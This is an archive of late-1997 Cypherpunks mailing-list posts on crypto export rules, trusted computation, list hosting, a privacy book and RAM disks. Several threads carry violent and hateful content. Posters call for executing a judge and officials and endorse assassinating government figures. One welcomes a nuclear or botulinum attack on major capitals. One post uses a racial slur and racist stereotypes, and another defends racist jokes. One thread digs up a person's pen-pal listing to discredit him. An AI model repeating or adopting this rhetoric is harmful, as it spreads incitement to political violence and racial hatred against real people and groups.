W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 17 Nov 1997 00:02:27 +0800
To: cypherpunks@Algebra.COM
Subject: Re: This judge needs killing
In-Reply-To: <199711150145.CAA24285@basement.replay.com>
Message-ID: <199711161558.KAA12925@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711150145.CAA24285@basement.replay.com>, on 11/15/97 
   at 02:45 AM, Anonymous <nobody@REPLAY.COM> said:

>Paul Bradley writes:
>>Judge David Selwood today sentenced 3 writers for the magazine "Green
>>Anarchist" to 3 years imprisonment each for their articles in the
>>magazine which he concluded incited others to break the law.
>>The magazine contained diaries for the previous months animal rights
>>activism events and contained articles generally favourable to the cause
>>of animal liberation.
>>
>>Another judge who has richly earned the death penalty.

>Another example of the violent rhetoric which goes without comment on
>this list.

>The death penalty is completely inappropriate for this kind of crime. It
>should be reserved for the most serious of criminal actions, the most
>egregious murders, terrorism, genocide.

>An appropriate punishment for a judge who violates his oath of office and
>sentences someone wrongly to prison would be a prison sentence for the
>judge himself, some multiple of the unjust sentence.

>Calling for the death penalty for crimes which do not themselves involve
>killing only cheapens life.  Before long you too will support shooting
>graffiti vandals and nuking London.

Well I can't say much for the UK AFAIK they have no constitutional
protections of free speech. Here in Amerika any elected offical or
government employee found to have willfully violated the Constution of the
United States of America should be put to death.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNG8XzY9Co1n+aLhhAQHTegQAgqBqZoTC3Q3cJtA1Kvo3HHHqrnnXwwwJ
sHC2qvhz6NjUg1JKKjvjNrt9CLm89UnqTsULs8xsJH3SZs8CgL6i0e35w2ABXABF
lL6eEErwh4hHW9y/s4ZzhEYUuf3AWlu1yoBtcSz6WMXf20t6I234iw3BfZ+j9UZ1
NerDQ3J6IQw=
=kAK6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 17 Nov 1997 01:32:28 +0800
To: Joichi Ito <cypherpunks@cyberpass.net
Subject: Re: Exporting crypto from Japan
In-Reply-To: <v0310280ab092257910a1@[207.167.93.63]>
Message-ID: <v03102823b094cab52ad8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:35 AM -0700 11/16/97, Joichi Ito wrote:
>At 09:02 97/11/14 -0700, Tim May wrote:
>> Which explains why that Japanese-produced RSA chip was suddenly withdrawn
>> from the market shortly after Jim Bidzos held it up in fron of Congress as
>> an example of how foolish the U.S. export laws are. The Japanese stooges
>> were ordered by their masters in Washington to conform to U.S. policy.
>>
>> --Tim May
>
>By the way, the chip was not "withdrawn from the market." MITI
>has not approved its export. The imporant point is, a recent regulation
>called the "Gyousei Tetsuzuki Hou" (translates roughly as,
>"ministry administrative law/guidelines") makes it illegal for a ministry

This is, of course, a distinction without a difference. The point is that
NSA was very pissed off that Bidzos would hold up a Japanese chip in front
of Congress, thereby proving that export controls were hardly needed or
even relevant in today's world.

And, almost immediately, the Japanese RSA chip became "unavailable." A
longterm Cypherpunk, who can speak up if he desires to, had a few of these
chips in the U.S. before the NSA ordered Chobetsu/MITI to halt export (and
probably even to halt internal use in products developed for export). He
told me the chips had suddenly become "unavailable," with no apparent
prospects for them _ever_ becoming available. The stooges in Nippon listen
when their masters speak.


>to regulate or restrict an activity without a clear and easy to understand
>process and documentation. MITI's current method of "case-by-case"
>export permission could technically be viewed as a breach of this
>law/regulation. Also, the "Gyousei Tetsuzuki Hou" has time limits
>for ministries to respond to requests. I have informed RSA that they
>could take MITI to court on this one, but as far as I know, they haven't.
>So, yes, Japanese stooges were involved, but companies such as RSA
>haven't taken advantage of their legal position in pushing the export
>of their products from Japan.

RSA the company may have various reasons for not pushing the issue too
hard. For one thing, pissing off the NSA (even more) may cut into business
contracts. For another, designing the Japanese chip into products could be
a dangerous thing, if the supply is uncertain (and winning one court battle
in Japan may not ensure continued supplies). Finally, recall that I
publically described threats by NSA agents to have Bidzos "run over in your
parking lot."

This is the way the Amerikan government works in this era of freedom. It
threatens to kill the chief executives of Amerikan companies who don't play
along with Big Brother's rules. It leans on allies like Japan and Germany
to crack down on crypto products. It ignores import and export laws at will
(as yesterday's "executive order" barring import of more rifles shows), and
it engages in New World Order/OECD/Wassenaar deal cuttings with other
tyrants. Oh, and it holds out the prospect of lucrative contracts to
Netscape, Intel, H-P, TIS, and other such companies if they "build in Big
Brother."


>Maybe we should try to get Mr. Nakatuji to apply for a permit to
>export his Misty stuff. ;-P
>
> - Joi
>
>P.S. We had a cypherpunks-j meeting the other day and no one
>knew who this Nakatuji guy was. I thought he might be some anti-Japanese
>person trying to discredit the Japanese cypherpunks, but another participant
>pointed out that the curses he launched at Tim were very authentic
>Japanese so my theory was unlikely. For the record, he is not one
>of "us". Whatever that means...

Yes, this fits my view that Nakatuji is either an American trolling the
list, or some "dark person" (in the Japanese hacker sense) connecting to
the Net with his "hotmail" account.

That his English is poor is not the real issue. There are plenty of people
with poor English skills. No, the issue is that he sends out short trolls,
first asking "what am Misty?," then offering to sell documentation on
crypto for money sent to him. And he never engages in discussion, broken
English or not.

I was quite serious when I said in a post a few months back that I'd done
some Web and Dejanews searches on his precise name string and had only
found some requests for "male pen pals." This is not a "homophobic" remark,
just a statement of what I found.

(I did the same search several days ago, as Nakatuji once again became news
here, and couldn't find any references at all to his exact name. Maybe the
sites or archives that carried his pen pal requests, if it was he and not
some other with the same name, had flushed this older stuff.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@mit.edu>
Date: Sun, 16 Nov 1997 22:48:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: trusting untrusted platforms
Message-ID: <199711161443.JAA01554@tana.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



> > Alexandre Maret <amaret@infomaniak.ch> says:

> > [how to do trusted computation on untrusted platforms]

I'm working on a paper, it's one of the technical hurdles on the way
to my Eternity DDS eternity service implementation.

> rdl, less frustrated with changing from vtwm/athena to KDE, says:

> I so far have been approaching it as "Type I (active)" and "Type II (passive)"
> attackers.  In the first case, people lie about the results, in the second,
> they give you the correct results, but snoop on the data. (For some reason
> the terminology is kind of lame, but it helps to have some)
> 
> There are a bunch of mathematical/cryptographic ways of hiding data from
> those doing computations on it, at least for a subset of computations.  I'm
> trying to put together a generalized computing model for this which would be
> turing complete if it can be, although it is not clear it can be.  Some
> operations practically will be a lot more expensive in this model than in
> the conventional environment, and perhaps to a computation which would require
> 10 units of conventional secret CPU time, you will need 9 units of secret
> CPU to encode/decode the data and 41 units of public CPU time.  You also need
> to guard against covert channels, such as the total amount of public CPU time
> you are requesting as a clue to what you're doing with it.  I am confident
> type II security can be realized with at least a minor amount of performance
> improvement over purely secret use, assuming public time is free.
> 
> Type I security is a lot more difficult to realize in true theoretical
> sense, but is easier in a practical sense.  A simple solution is to do the
> same computation on a bunch of different remote machines, and as long as
> they don't collude, you can just make sure they all answered the same, modulo
> rounding errors and stuff.  This isn't the kind of provable security you
> can conceivably get against type II attackers, but it doesn't have any innate
> performance hit.
> 
> It's possible there are systems which are byzantine fault tolerant to
> the former kind of attack -- instinctively, you can just split up the
> computation in small enough pieces that you don't care if it is compromised.
> 
> I'm interested in finding a provably secure computation-checksum technique.
> I think there are most likely reductions for a lot of problems to things
> which can be verified, and again, my goal is to have a Turing-complete
> model of computation with this property.
> 
> > [can cryptography be helpful?]
> 
> It's as much a theory of computation problem as anything else, once you
> have some functions through which you can carry some operations.  
> 
> Most of the stuff I've done so far focuses on the graph coloring problem.
> I'm probably going to finish a quick version which can only deal with
> a subset of problems, then work on a general model.

> > [paper availability issues]

> Yes, it will be publically available.  It will be available when it's closer
> to done; I will send something to cypherpunks about it, and I'll put it
> up on the web somewhere.  If it doesn't suck, and I can convince someone
> at LCS-CIS of this/to be a co-author/etc., I might try to get it published.

Anyone know anything very relevant to this?  I've mostly just started on
the research (my current exciting project has been Linux Fibre Channel and
making a bloody fast, yet maybe secure, yet small cipher for an on board
processor), and pointers would be useful.  It isn't as hard a problem as
I first thought, though.  This seems like the kind of thing everyone's favorite
judge-threatening tree-hugger-nose-mac-10-inserting gun-hoarding
old-man-on-the-mountain would have done N years ago :) [flames, fan.  
gasoline. rdx...] so I'd rather not reinvent the wheel more than once or twice.

Ryan (getting dangerously close to having a working Eternity DDS demo,
and wondering if FC98 will be on mbone, particularly the solar eclipse, since
even if he had the money to go, it's in the middle of next semester, and 
disappearing for a week would kind of be difficult, although not at all
impossible of someone wants to pay for me to go...ahh, but there's always
next year) 
-- 
Ryan Lackey
rdl@mit.edu
http://mit.edu/rdl/		






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 17 Nov 1997 01:46:37 +0800
To: Steve Schear <cypherpunks@cyberpass.net
Subject: Re: Anti-Grav?
In-Reply-To: <v03102807b094261c9844@[208.129.55.202]>
Message-ID: <v03102824b094d230eca7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:57 PM -0700 11/15/97, Steve Schear wrote:
>I must have been sleeping, but it appears I missed the emergence of
>another Fleischman-Pons ("cold fusion") style episode, this time having to
>do with antigravity.  Experiments in 1992 in Finland seemed to show that
>the Earth's gravity could be shielded with a superconductor.  This
>experiment, by Eugene Podkletnov, at Finland's Tampere University of
>Technology, apparently displayed a reduction in the weight of objects
>placed above a levitating, rotating high Tc superconducting disk, exposed
>to high frequency magnetic fields.
>
>http://www.virtualpet.com/rbbi/folders/tech/basic/gravity.htm
>
>http://www.inetarena.com/~noetic/pls/gravity.html#pandb
>
>There are at least three different theoretical models for the effect --
>gravitomagnetism, local change to cosmological constant, and outright
>shielding.  Detractors have pointed to possible experimental errors as the
>cause for the apparent levitation.


Don't feel bad about not hearing about it....I only heard about it from
some friends this past summer. My first reaction was "say what?"

After looking at a summary of news reports, I was less than
enthusiastically interested any more.

(My hunch: eddy current effects)

An effect this important, requiring so little equipment, is confirmable in
a matter of days or weeks. That this report has been floating around--pun
intended--for more than several years, tells us somthing important.

Wake me up if it's actually confirmed. But don't wake me up just to tell me
the claims have been withdrawn.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 17 Nov 1997 02:09:35 +0800
To: cypherpunks@Algebra.COM
Subject: Re: technical issues of the list
In-Reply-To: <m0xWxe3-0005TqC@as-node.jena.thur.de>
Message-ID: <v03102825b094d42261b8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:53 PM -0700 11/15/97, Jenaer Mixmaster Anonserver (actually Zooko,
actually B.) wrote:

>Issues:
>
>
>1.  Robustness.  Usenet wins.
>2.  Efficiency.  Usenet loses, but perhaps some kind of hack
>     could be implemented combining mail and news delivery for
>     greater efficiency without losing robustness?  I'm not
>     familiar with NNTP.

Many mailing lists are now hosted on Web sites. (There's probably some
widely-available code for setting this up, as I'm seeing more and more of
these Web forums.)

A Web site for the list has certain advantages:

a. archiving becomes transparent

(There is, by the way, a project simmering along to put the 5 years of
Cypherpunks traffic on a Web site....)

b. Web sites can be mirrored around the world

(With some technical issues of latency, synchronization, and "lock time,"
e.g., what happens to articles posted to one site while another site is
being mirrored? I/O thrashing could become a problem. I don't know if much
work has been done on Web site mirroring when the sites are being updated
or changed many times an hour. It's a variant of the airline reservation
problems...I have to assume someone has solved this cleanly.)

c. Web sites can also carry ancillary stuff, like code for programs, long
documents, etc.

(I just added a 6.4 GB drive to my system for the astounding price of $440.
Even cheaper deals may exist.)

d. having all CP traffic on a Web site, organized by thread name, author,
date, etc., as such archived lists routinely seem to be, would make it easy
to generate "the Cypherpunks CD-ROM." Wouldn't it be great to have the 5
years' worth of traffic on a single CD-ROM? (Or two, or three, if that's
what it takes.)

e. Web sites are easily "distributed" just by having URL pointers.

And so on...

>3.  Access control.  Usenet is too easy to get in to.  We need
>     to discourage clueless newbies from bothering us.  This
>     too could be hacked, e.g. set up a PGP cancel bot which
>     only allows PGP signed posts.  (This has many other
>     convenient benefits such as encouraging nyms, and
>     preventing spam.)

I'm skeptical of this "speed bump" approach. After all, our current
subscription process hasn't exactly stopped clueless newbies from wandering
in, has it?

A better approach is to encourage wider participation, with individual
readers becoming merciless with their filters.

(I'd hate to lose my Eudora Pro filtering capabilities, but progress is
progress. And some of the browsers and whatnot can probably be set to mark
for "reputation capital" and the like. If not, this would be a good project
for someone to tackle.)

(More on this: We must avoid the kind of "centralized reputation registry"
that some architects seem to prefer. This defeats the whole idea of people
making their own choices. Something very decentralized, like the Web of
Trust. But even more so. I don't want my name in the data base saying whom
I want to read and whom I don't, unless as a piece of side information. If
this point is not clear, and there's interest in this whole project, I'll
elaborate in more detail.)


>Regards,
>
>Zooko
>

Glad to see B. posting on this topic.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Nov 1997 23:56:11 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism
In-Reply-To: <3.0.32.19971115221801.006c1504@cnw.com>
Message-ID: <D9o0Fe41w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Blanc <blancw@cnw.com> writes:

> As good crypto-anarchists, no one on this list should care what Tim's views
> are on race.   Your main concern should be a good defense against
> aggression;  if Tim hasn't taken any action to bring harm to others, then
> there's isn't any need to worry about his opinion.

Blanc, you're not getting it.

In the Klintonista kriminal kode, calling someone a "nigger" or even thinking
that some aspects of the "african-american kulture" (drug use, illegitimacy,
violence, unwillingness to work) are "inferior" are far worse krimes than
when a representatives of said kulture takes away your property (at gunpoint
or via taxation/welfare/wealth redistribution). When a black man kills a
white man for calling the black man "nigger", it's justifiable homicide.

Just having racist thoughts, let alone expessing them, is equivalent to
extreme violence. Remember the student who got suspended for a semester
for laughing while singing "We shall overcome"?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 17 Nov 1997 02:16:52 +0800
To: cypherpunks@Algebra.COM
Subject: Nakatuji-san and Male PenPals
In-Reply-To: <v03102823b094cab52ad8@[207.167.93.63]>
Message-ID: <v03102826b094d9429605@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Someone sent this to me privately. I don't know why he didn't cc: the list.
But I'll respect his apparent wishes and excise any clues as to who he is.

At 10:37 AM -0700 11/16/97, xxxxxxxxx wrote:

>In <v03102823b094cab52ad8@[207.167.93.63]>, on 11/16/97
>   at 09:26 AM, Tim May <tcmay@got.net> said:
>
>>(I did the same search several days ago, as Nakatuji once again became
>>news here, and couldn't find any references at all to his exact name.
>>Maybe the sites or archives that carried his pen pal requests, if it was
>>he and not some other with the same name, had flushed this older stuff.)
>
>Well I did some searching myself and the only thing I could find out side
>of the CP-Archives was the one post to the Einstein Male PenPal webpage
>using the e-mail address below.
>
>http://cuy.net/~einstein/local/malebook.html
>
>Nobuki Nakatuji <nn1332@galaxynet.or.jp>
>
>Neither the addresses or the name showed anything up on Deja-News or any
>of the other search engines.


Yes! This was it! This was what I saw. Some crazy "Einstein Male PenPals"
stuff.

I have no idea why I couldn't find it again...must've used a slightly
different search engine, with a slightly different set of reachable nodes.

Here's the entry for "Nobuki Nakatuji":

My hobbies are playing guitar and listening music.
Nobuki Nakatuji <nn1332@galaxynet.or.jp>
Takarazuka, Japan - Saturday, December 14, 1996 at 23:34:01 (EST)

Is this the same Nobuki Nakatuji asking for money  for descriptions of
crypto programs? ("What am Misty?"..."You send money, I send description")


--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason <rennie@one.net.au>
Date: Sun, 16 Nov 1997 07:34:17 +0800
To: cypherpunks@toad.com
Subject: Mail interception
Message-ID: <346E2E39.A29AFEE2@one.net.au>
MIME-Version: 1.0
Content-Type: text/plain



Hi all,

I was trying to convince some friends of mine of the need for crypto in
email. They don't however bel;ive it is possible to intercept email on
the wauy through.

So, does anybody know how to or where i can get information on
intercepting email from ?

Any help that can be provided would be greeatly appreciated.

regards jason





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 17 Nov 1997 02:42:43 +0800
To: cypherpunks@Algebra.COM
Subject: Please not to use the term
In-Reply-To: <Pine.LNX.3.91.971115143130.915B-100000@fatmans.demon.co.uk>
Message-ID: <v03102827b094dd278047@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:59 AM -0700 11/16/97, Kent Crispin wrote:

>Mike was describing how the processors find work: "It's like a Chinese
>fire drill." A slight figure in the front, about the 15th row, stood
>up and said something I couldn't hear.  Mike couldn't hear it either.
>He asked the individual to speak up.  The crowd was quiet, and a thin,
>heavily accented voice floated over it: "Please not to use the term
>'Chinese fire drill'".

"Please not to use the term 'welshing on a bet.'"

"Please not to use the term 'going Dutch.'"

"Please not to use the term 'Indian giver.'"

"Please not to use the term 'It's a black thing...you wouldn't understand.'"

"Please not to use the term 'Russian roulette.'"

"Please not to use the term 'scotch' for thrifty."

"Please not to use the term 'white men can't jump.'"

"Please not to use the term 'French kissing.'"

"Please not to use the term 'Polish' to modify another word."

"Please not to use the term 'Whopper.'"

And, my favorite,

"Please not to use the term 'Please not to use the term.'"

Get over it. Sit down and get over it.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David HM Spector <spector@zeitgeist.com>
Date: Sun, 16 Nov 1997 23:54:50 +0800
To: Cypherpunks@cyberpass.net
Subject: mini-review: The Electronic Privacy Papers
Message-ID: <199711161549.KAA17326@wintermute.ny.zeitgeist.com>
MIME-Version: 1.0
Content-Type: text/plain




This has got to be the "Book of the Year"...If you only read one book
before the end of the year, or even one book ALL of next year, this is
the book you MUST read:

		    The Electronic Privacy Papers
		  by Bruce Schneier and David Banisar
	  Wiley Computer Publishing/John Wiley & Sons, Inc.
			 ISBN: 0-471-12297-1

I just got it this morning, and cruised though the first chapters (I'm
a fast reader...) and its positively explosive.

The book consists of information gleaned from public sources and pried
out of the Government via the Freedom of Information Act (FOIA) and
logically takes the reader through a chronological history of
government surveillance and public reactions to it.

Schneier and Banisar examine the arguments for and against state
surveillance and how these policies are formulated and how (from my
reading so far) they are often implemented with little or no public
discussion or input by agencies that seem to deeply distrust and
dislike the lawmaking process and constitutional protections that are
supposed to protect Americans from overzealous agents and Government
abuse.

Positively riveting....

For you Amazon.com junkies, here's the URL:

   http://www.amazon.com/exec/obidos/ats-query/9615-8912043-502933

-------------------------------------------------------------------------------
David HM Spector                                          spector@zeitgeist.com
	         Network Design & Infrastructure Security










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 16 Nov 1997 10:25:59 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Will Jews be Forced to Accept Christ in Public Schools?
In-Reply-To: <v0310281db092e0eb1aa8@[207.167.93.63]>
Message-ID: <Pine.LNX.3.93.971116113823.133A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 14 Nov 1997, Tim May wrote:

> At 9:40 PM -0700 11/14/97, ? the Platypus {aka David Formosa} wrote:
> 
> >The system of democratic voteing assumes an educated voteing population
> >because of this free scular education is a basic right that
> >should be prodided by the state.
> 
> The"system" asssumes no such thing,

So an informed electorate is not neccery for democarsy to work?  Creating
such an electorate has been one of the fundermentle elerments in most
education policies of westion democries.


- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 16 Nov 1997 20:56:27 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <19971114235753.18387@songbird.com>
Message-ID: <Pine.LNX.3.91.971116122006.915C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > At the risk of responding to a post which has a good probability of being 
> > a troll I will at least say that the above opinion may be that of several 
> > members, but the fact is the list has evolved, it never had an original 
> > defined purpose, at least not one easily put into words, and applauding 
> > murder of government agents is a part of the whole strong crypto privacy 
> > and liberty ethic.
> 
> Bullshit.  Applauding murder has nothing to do with strong crypto 
> privacy or liberty.

Yes it does, if one has a strong moral sense about things like individual 
rights and privacy, and the government attempt to deny the people these 
rights, the government have commited a great wrong, it is only to be 
expected that the natural response is to encourage their removal. I find 
it amazing how many people support the punishment of murderers and 
kidnappers in society at large, but exempt from this the particular group 
of people composing the government.

> > As for white supremacy, look elsewhere, I think you`ll 
> > find Tim`s post an example of what the developed world knows as humour, 
> > not a serious attack on any ethnic group.
> 
> Tim's post is an example of what the RACIST world knows as humor, 
> Paul.  Racism isn't an intellectual phenomenon, it is a gut 
> phenomenon.  Frequently it manifests itself in humor.

Oversensitivity, plain and simple, I find some racist jokes funny, I am 
not racist.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 17 Nov 1997 04:37:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: the art of fighting without fighting
In-Reply-To: <199711161959.UAA14136@basement.replay.com>
Message-ID: <v03102828b094f81bd564@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:59 PM -0700 11/16/97, Amad3us wrote:

>Anonymous decries talk of violence on list.  Understand
>anonymous, we are not the aggressors, we are the aggressed.
>It is annoying being on the receiving end of aggression
>especially where the aggressor is the local force monopoly
>and you have no recourse.  Hence talk of nuking DC, and of
>capital punishment for criminal government officials.  There
>is certain poetic karmic value to these expressions of
>annoyance.  Helps spread the dissatisfaction with
>government.
>
>However, the fact that criminal officials deserve punishment
>does not mean that any of us are interested to actually
>deliver that punishment.  There are more efficient methods
>of utilising our available resources: write crypto code,
>hasten crypto-anarchy.  Have the government collapse through
>lack of funding, have it's power eroded.

 Just so.

Hettinga seems to think I am criminally liable in case some terrorist
decides to spend $10 million or so (the going rate, I hear) to buy a nuke
so that he can make me happy in my, Hettinga claims, "will no one rid me of
this city of pesitlence and vermin" entreaties.

"As if." (to quote the GenXers)

While I believe the odds are increasing that a nuclear or biological weapon
will be used against the centers of oppression--Washington, New York, Tel
Aviv, etc.--I certainly can't imagine any self-respecting member of Abu
Nidal's team, for example, spending this kind of bread just to make Tim May
happy.

But people like Hettinga and Crispin believe in guilt by viewpoint, and in
keeping quiet so as not to make the authorities mad.

Me, my actions have been to move away from "soft targets." Even in a major
nukewar with the Evil Empire, I'm 30 miles _south_ of the major targets in
Silicon Valley, like the Satellite Operations Center at Onizuka/Moffet in
Sunnyvale and Mountain View. (The famed "Blue Cube.") The Blue Cube is now
mirrored at Falcon AFB in Colorado, and may by now even be the main site
for satellite tracking.

Hint: Given the prevailing winds and jet stream in this part of the world,
and given the mountain range between my location and Silicon Valley, I'm
almost certainly completely safe. Except from the aftereffects of a
nukewar, namely, human vermin spreading out through the mountain passes
trying to steal what they can. Hence my "other measures."

A bio weapon is more troublesome, where I am, but I doubt any CBW agent
could have toxicity to cover even those of us in fairly isolated ocean
valleys.

I expect one day to hear that some major world capital has been nuked or
devastated with botulinin toxin. I doubt I'll be crying.

(Hettinga plans to call the cops because of this comment.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 16 Nov 1997 20:52:13 +0800
To: cypherpunks@cyberpass.net
Subject: Re: This judge needs killing
In-Reply-To: <199711150145.CAA24285@basement.replay.com>
Message-ID: <Pine.LNX.3.91.971116123336.915D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> >Judge David Selwood today sentenced 3 writers for the magazine "Green
> >Anarchist" to 3 years imprisonment each for their articles in the
> >magazine which he concluded incited others to break the law.
> >(...)
> >Another judge who has richly earned the death penalty.

> The death penalty is completely inappropriate for this kind of crime.
> It should be reserved for the most serious of criminal actions, the most
> egregious murders, terrorism, genocide.

No, this judge is guilty of false imprisonment, if I kidnapped you and 
falsely imprisoned you for 3 years in a 6x9 cell where you would live 
with another inmate, and prison officers who may turn a blind eye when 
you were raped by the other prisoners, I should be expecting to die for 
my crimes.

> Calling for the death penalty for crimes which do not themselves involve
> killing only cheapens life.  Before long you too will support shooting
> graffiti vandals and nuking London.

No, I support flogging of graffiti vandals (killing for repeat 
offenders), and assasinations as a means of removing government 
criminals, nuking is too indiscriminate.


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 17 Nov 1997 08:17:00 +0800
To: cypherpunks@toad.com
Subject: RAM disks for temp files?
In-Reply-To: <199711160027.BAA16314@basement.replay.com>
Message-ID: <3.0.3.32.19971116125402.007134ec@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:27 AM 11/16/1997 +0100, Anonymous wrote:
>> (Hint, temporary files all over the place.)
>  For you old farts who have not been out in the real world for a
>while, you should make note of the fact that the price of memory
>has dropped, and it is now feasible to implement RAM disks to
>store temporary files.

I was using RAM disks on my 386 machines with Win3.1.
Now that I've got faster machines with more RAM,
I'm running Win95 and can't find a ramdisk program - 
does anybody know where to find one?

On Unix, you _could_ do things with temp files,
but it usually made much more sense to structure your programs
to use pipes, which means there's no temp file and only
a few KB of RAM buffering in between each program.
PGP's DOS heritage doesn't encourage this sort of programming,
though the new design for one-pass processing may have
made it either possible or unnecessary.

On machines with real operating systems, designing a 
ramdisk includes deciding whether to make it virtual memory
that might get swapped if necessary, or nail it into RAM.
Since RAMdisks are usually intended for increasing speed,
it usually makes more sense to let the vm manager decide
